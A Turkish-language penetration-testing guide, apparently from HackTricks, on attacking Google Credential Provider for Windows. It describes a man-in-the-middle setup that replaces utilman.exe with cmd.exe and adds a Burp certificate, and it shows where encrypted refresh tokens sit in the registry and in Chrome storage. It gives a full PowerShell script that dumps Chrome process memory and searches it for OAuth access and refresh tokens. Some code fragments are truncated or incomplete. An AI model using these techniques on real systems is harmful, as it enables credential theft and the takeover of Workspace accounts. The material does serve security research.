Bu, kullanıcıların Workspace kimlik bilgilerini kullanarak Windows PC'lerine giriş yapabilmeleri için Google Workspaces'ın sağladığı tek oturum açma sistemidir. Ayrıca, bu, PC'deki bazı yerlerde Google Workspace'e erişim için token'ları saklayacaktır.
Winpeas 'in GCPW'yi tespit edebildiğini, yapılandırma hakkında bilgi alabileceğini ve hatta token'ları alabileceğini unutmayın.
GCPW - MitM
Bir kullanıcı, GCPW aracılığıyla Google Workspace ile senkronize edilmiş bir Windows PC'ye eriştiğinde, ortak bir giriş formunu doldurması gerekecektir. Bu giriş formu, PC'nin bir istekle yenileme token'ı için değiştireceği bir OAuth kodu döndürecektir:
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
Yeni satırlar okunabilirliği artırmak için eklenmiştir.
Bir MitM gerçekleştirmek, PC'ye Proxifier yükleyerek, utilman.exe ikilisini cmd.exe ile değiştirerek ve Windows giriş sayfasındaki erişilebilirlik özelliklerini çalıştırarak mümkündür. Bu, CMD'yi çalıştıracak ve Proxifier'ı başlatıp yapılandırmanızı sağlayacaktır.
Proxifier'da QUICK UDP trafiğini engellemeyi unutmayın, böylece TCP iletişimine düşer ve görebilirsiniz.
Ayrıca "Serviced and other users" bölümünde her iki seçeneği de yapılandırın ve Windows'a Burp CA sertifikasını yükleyin.
Ayrıca HKLM:\SOFTWARE\Google\GCPW anahtarına enable_verbose_logging = 1 ve log_file_path = C:\Public\gcpw.log ekleyerek bazı günlüklerin saklanmasını sağlamak mümkündür.
GCPW - Parmak İzi
GCPW'nin bir cihazda kurulu olup olmadığını kontrol etmek için aşağıdaki işlemin varlığını veya aşağıdaki kayıt defteri anahtarlarının varlığını kontrol etmek mümkündür:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
In HKCU:\SOFTWARE\Google\Accounts kullanıcı e-posta adresine ve kullanıcının yakın zamanda giriş yapması durumunda şifrelenmiş refresh token'a erişmek mümkündür.
In HKLM:\SOFTWARE\Google\GCPW\Usersdomains_allowed anahtarında giriş yapmasına izin verilen domainler bulunabilir ve alt anahtarlarda kullanıcıya ait e-posta, resim, kullanıcı adı, token ömrü, token tutamağı gibi bilgilere ulaşmak mümkündür.
Token tutamağı eth. ile başlayan bir token'dır ve bir istek ile bazı bilgiler çıkarılabilir:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
Ayrıca, bir erişim jetonunun jeton tutucusunu bulmak için aşağıdaki gibi bir istekle mümkündür:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle":"eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"}
Bildiğim kadarıyla, token handle'dan bir refresh token veya access token almak mümkün değil.
Ayrıca, dosya C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse farklı ayarlar hakkında bilgi içeren bir json'dur; örneğin enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (eğer Workspace'ten birkaç kullanıcı bilgisayara giriş yapabiliyorsa) ve validityPeriodDays (bir kullanıcının Google ile doğrudan yeniden kimlik doğrulaması yapmasına gerek olmadığı gün sayısı).
GCPW - Token'ları Al
GCPW - Kayıt Defteri Refresh Token'ları
Kayıt defteri HKCU:\SOFTWARE\Google\Accounts içinde, içinde refresh_token şifrelenmiş bazı hesaplar bulmak mümkün olabilir. ProtectedData.Unprotect metodu bunu kolayca çözebilir.
HKCU:\SOFTWARE\Google\Accounts verilerini al ve refresh_token'ları çöz
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
[**Bu videoda**](https://www.youtube.com/watch?v=FEQxHRRP_5I) açıklandığı gibi, eğer kayıt defterinde token bulamazsanız, **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** değerini değiştirmek (veya silmek) mümkündür ve kullanıcı bilgisayara eriştiğinde tekrar giriş yapması gerekecek ve **token önceki kayıt defterinde saklanacaktır**.
### GCPW - Disk Yenileme Tokenleri
**`%LocalAppData%\Google\Chrome\User Data\Local State`** dosyası, kullanıcının **Google Chrome profillerinde** bulunan **`refresh_tokens`**'ı şifrelemek için anahtarı saklar:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Bu tokenlere şifrelenmemiş şekilde erişen bazı **C# kodlarını** [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) içinde bulmak mümkündür.
Ayrıca, şifreleme bu kodda bulunabilir: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
AESGCM'nin kullanıldığı gözlemlenebilir, şifrelenmiş token bir **sürüm** ile başlar (**`v10`** şu anda), ardından [**12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) gelir ve ardından **şifreli metin** ile son bir **16B mac** gelir.
### GCPW - Süreç Belleğinden Token Dökümü
Aşağıdaki script, `procdump` kullanarak her **Chrome** sürecini **dökme** yapmak, **string'leri** çıkarmak ve ardından **erişim ve yenileme tokenleri** ile ilgili string'leri **arama** yapmak için kullanılabilir. Eğer Chrome bazı Google sitelerine bağlıysa, bazı **süreçler bellek içinde yenileme ve/veya erişim tokenlerini saklıyor olacaktır!**
<details>
<summary>Chrome süreçlerini dök ve tokenleri ara</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
gcpw_extension.exe ile aynı şeyi denedim ama hiçbir token bulamadı.
Bir sebepten dolayı, bazı çıkarılan erişim token'ları geçerli olmayacak (bazıları geçerli olsa da). Dump'tan geçerli token'ı bulmak için karakterleri 1'er 1'er kaldıran aşağıdaki scripti denedim. Geçerli bir tane bulmama asla yardımcı olmadı, ama belki yardımcı olabilir:
Karakterleri 1'er 1'er kaldırarak erişim token'ını kontrol et
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Bir refresh token'ına sahip olsanız bile, erişim token'ı için herhangi bir kapsam talep etmek mümkün değildir çünkü yalnızca erişim token'ını oluşturduğunuz uygulama tarafından desteklenen kapsamları talep edebilirsiniz.
Ayrıca, refresh token her uygulamada geçerli değildir.
Varsayılan olarak GCPW, kullanıcı olarak her olası OAuth kapsamına erişime sahip olmayacaktır, bu nedenle aşağıdaki script'i kullanarak refresh_token ile bir access_token oluşturmak için kullanılabilecek kapsamları bulabiliriz: